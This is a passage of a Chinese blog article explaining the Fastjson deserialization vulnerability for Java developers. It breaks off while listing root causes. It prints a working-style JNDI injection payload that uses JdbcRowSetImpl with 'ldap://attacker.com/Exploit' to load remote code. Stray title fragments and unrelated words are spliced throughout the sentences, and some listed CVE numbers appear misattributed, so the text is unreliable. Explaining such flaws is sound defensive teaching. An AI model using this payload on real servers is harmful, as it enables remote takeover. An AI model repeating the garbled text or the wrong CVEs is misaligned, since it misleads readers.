震惊!Fastjson 漏洞背后的真相,开发工程师必须懂的原理
系统运维 2025-11-26 20:56:43
0
前言 在与一位安全服务工程师交流时,震惊我们发现许多开发团队对 Fastjson 漏洞的漏洞认知依然停留在“知道它有问题,但不清楚具体原因”的背后必须阶段。尤其是真懂在国内 Java 项目中,Fastjson 的相开使用频率极高,一旦出现漏洞,发工影响范围会迅速扩大。程师本篇文章将带你从原理到防御策略,原理完整解析 Fastjson 漏洞的震惊技术细节与风险来源 ,帮助你构建更安全的漏洞后端系统 。云计算
Fastjson 是背后必须什么 ?Fastjson 是由阿里巴巴开源的一款高性能 JSON 处理库 ,常用于 Java Web 应用或移动服务端。真懂 它的相开核心功能有两类:
序列化:将 Java 对象转换为 JSON 字符串反序列化:将 JSON 字符串转换为 Java 对象在 Maven 项目中 ,引用方式通常如下:
复制<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>1.2.3.4.5.虽然使用方便,发工但反序列化的程师强大功能,也为攻击者提供了可乘之机 。
核心问题 :反序列化风险Fastjson 的主要漏洞集中在反序列化过程中,多次被分配 CVE 编号 ,例如 :
CVE-2017-18349CVE-2020-2883CVE-2021-21351这些漏洞的香港云服务器本质是:当解析恶意构造的 JSON 数据时,会触发某些类的危险方法,最终导致远程代码执行。
反序列化原理回顾在正常场景下,反序列化是一个非常有用的功能:
复制{ "name":"张三","age":20}1.Fastjson 会将其转换为 Java 对象:
复制User{ name="张三", age=20}1.然而 ,Fastjson 为了支持多态反序列化,引入了一个特殊字段 @type,允许指定反序列化目标类 ,例如:
复制{ "@type":"com.example.User","name":"张三","age":20}1.这会告诉 Fastjson 直接实例化 com.example.User。问题也由此产生 。源码库
漏洞利用链解析攻击者可以在 @type 中填入系统中存在的“危险类”(gadget 类),并构造特殊参数,从而触发恶意操作。
示例攻击数据:
复制{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}1.Fastjson 解析过程:
解析 @type → 实例化 JdbcRowSetImpl调用 setDataSourceName() → 传入恶意 LDAP 地址调用 setAutoCommit(true) → 触发 JNDI Lookup服务器访问 ldap://attacker.com → 下载并加载攻击者类远程代码执行,攻击者获得服务器控制权为什么会出现这种漏洞 ?根本原因有三点 :
缺乏对 @type 的类限制